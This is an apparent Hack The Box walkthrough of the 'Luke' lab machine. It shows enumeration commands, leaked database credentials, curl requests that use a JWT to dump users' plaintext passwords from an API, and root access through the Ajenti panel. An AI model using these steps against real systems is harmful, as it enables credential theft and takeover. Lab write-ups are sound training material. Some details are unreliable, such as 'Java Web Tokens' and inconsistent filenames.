Luke - Hack The Box

TODO: mirror excerpt here
TLDR
- When you look at the anonymous ftp login, you can see a for_Chiro.txt saying you need the source file for the web app.
- By using the
.phpsfile extension we can get the config web application and some credentials - The credentials are used to authenticate to the API app on port 3000
- We can list the users and their plaintext passwords on port 3000
- The
/managementURI is protected with basic HTTP auth and we can log in with one of the user found with the API - Root password is contained in
config.jsonfile - Use the root password to log on to the Ajenti admin panel
Scans Away
As always, we start out with the basics! Let’s run a quick TCP scan and save the results to the nmap folder for later reference.
root@kali:~/htb/machines/luke# nmap -sC -sV -oA nmap/quickscan 10.10.10.137
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-05-27 13:26 ADT
Nmap scan report for 10.10.10.137
Host is up (0.14s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.21
| Logged in as ftp
| TYPE: ASCII
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.21 seconds
FTP enumeration
The FTP server here allows anonymous logins, it contains a folder called webapp with a file called for_Chihiro.txt… cannot upload files here and for_Chihiro.txt
does not appear to be visible on any web server (80,3000, or 8000)
####for_Chiro.txt
As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !
Derry
Port 80 - Website enumeration
I learned an important lesson on this challenge… don’t always rely on a single tool! I used the following command
root@kali:~/htb/machines/luke# gobuster -u http://10.10.10.137 -w /usr/share/dirb/wordlists/common.txt -x php
config.php (Status: 200)
/member
/vendor
/index.html (Status: 200)
/index.html (Status: 200)
/js (Status: 301)
/LICENSE (Status: 200)
/login.php (Status: 200)
/member (Status: 301)
/vendor (Status: 301)
Config.php has a username and password for what appears to be a MySQL Database
$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);
With that, I thought I had a full list of what’s available on port 80! I did not because I did not realize that gobuster ignores HTTP 401 responses. Turns out there is another URI that we need to find, that does return 401 (Unauthorized). I did not find this myself… someone had to point me in the right direction… but here’s a command you can run using wfuzz to find everything that responds without 404
root@kali:~/htb/machines/luke# wfuzz -w /usr/share/dirb/wordlists/common.txt --hc 404 http://10.10.10.13
7/FUZZ
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.137/FUZZ
Total requests: 4614
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000001: C=200 108 L 240 W 3138 Ch ""
000011: C=403 9 L 24 W 213 Ch ".hta"
000012: C=403 9 L 24 W 218 Ch ".htaccess"
000013: C=403 9 L 24 W 218 Ch ".htpasswd"
001114: C=301 7 L 20 W 232 Ch "css"
002020: C=200 108 L 240 W 3138 Ch "index.html"
002179: C=301 7 L 20 W 231 Ch "js"
002282: C=200 21 L 172 W 1093 Ch "LICENSE"
002435: C=401 12 L 46 W 381 Ch "management"
002485: C=301 7 L 20 W 235 Ch "member"
004286: C=301 7 L 20 W 235 Ch "vendor"
Total time: 66.99591
Processed Requests: 4614
Filtered Requests: 4603
Requests/sec.: 68.86986
ALTERNATIVELY
You can use the -s parameter to gobuster to include a whitelist of status codes you want it to report by adding: -s 401,300,301,500,200
# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -s 200,204,301,302,307,401,403 -t 25 -x php -u http://10.10.10.137
/LICENSE (Status: 200)
/config.php (Status: 200)
/css (Status: 301)
/js (Status: 301)
/login.php (Status: 200)
/management (Status: 401)
/member (Status: 301)
/vendor (Status: 301)
=====================================================
2019/05/26 16:38:20 Finished
=====================================================
That /management URI will come in handy. It prompts us for credentials, but the one’s we have do not work here.
/login.php is a login page for a PHP web application.
Port 3000 - NodeJS app
The application running on port 3000 expects a JWT token in the Authorization header.
Ran gobuster on this with following:
root@kali:~/htb/machines/luke# gobuster -u http://10.10.10.137:3000 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
Results:
- http://luke.htb:3000/login - Says “Please Auth”
- http://luke.htb:3000/users (asks for Auth Token)
This is where we learn about JWT tokens (Java Web Tokens). We can submit the credentials we
found in config.php to create a Token, which can be used as an authorization header in
subsequent requests. Tried this with username and password we found in config.php,
but that did not work… again I had a nudge from an outsider to try a variety of usernames…
and I found that using admin as the username worked flawlessly
root@kali:~/htb/machines/luke# curl --header "Content-Type: application/json" --request POST --data '{"password":"Zk6heYCyv6ZE9Xcg", "username":"admin"}' http://luke.htb:3000/login
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4OTg1NjQ0LCJleHAiOjE1NTkwNzIwNDR9.jEiJ78GrGYiU-w6xxKA7sh_pJ0AI847byB_Q3LLvP08"}
Now we can take this JWT Token and add it to our request to /users, which will then work as follows
root@kali:~/htb/machines/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4OTg1NjQ0LCJleHAiOjE1NTkwNzIwNDR9.jEiJ78GrGYiU-w6xxKA7sh_pJ0AI847byB_Q3LLvP08' http://luke.htb:3000/users
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]
So we found 4 users!!!
- Admin
- Derry
- Yuri
- Dory
We can get details on each one by issuing commands to http://luke.htb:3000/users/[username] as follows
curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4OTg1NjQ0LCJleHAiOjE1NTkwNzIwNDR9.jEiJ78GrGYiU-w6xxKA7sh_pJ0AI847byB_Q3LLvP08' http://luke.htb:3000/users/Derry
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
root@kali:~/htb/machines/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4OTg1NjQ0LCJleHAiOjE1NTkwNzIwNDR9.jEiJ78GrGYiU-w6xxKA7sh_pJ0AI847byB_Q3LLvP08' http://luke.htb:3000/users/Yuri
{"name":"Yuri","password":"bet@tester87"}
root@kali:~/htb/machines/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4OTg1NjQ0LCJleHAiOjE1NTkwNzIwNDR9.jEiJ78GrGYiU-w6xxKA7sh_pJ0AI847byB_Q3LLvP08' http://luke.htb:3000/users/Dory
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}
root@kali:~/htb/machines/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4OTg1NjQ0LCJleHAiOjE1NTkwNzIwNDR9.jEiJ78GrGYiU-w6xxKA7sh_pJ0AI847byB_Q3LLvP08' http://luke.htb:3000/users/Admin
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
###Credential Found
- Admin - WX5b7)>/rp$U)FW
- Derry - rZ86wwLvx7jUxtch
- Yuri - bet@tester87
- Dory - 5y:!xa=ybfe
Enumeration finally uncovers /management on port 80, which is realm based authentication
Use Derry’s credentials: Derry:rZ86wwLvx7jUxtch
http://luke.htb/management/
Shows a listing of files, including config.json!
Config.json has a user called root with a password of KpMasng6S5EtTy9Z!
- root - KpMasng6S5EtTy9Z
Let’s use this to log in to port 8000
We’re now logged into the Ajenti web application. There is a terminal tool in the left navigation panel. Click that and we are root!
# whoami
root
# cat /root/root.txt
********************************
# cat /home/derry/user.txt
********************************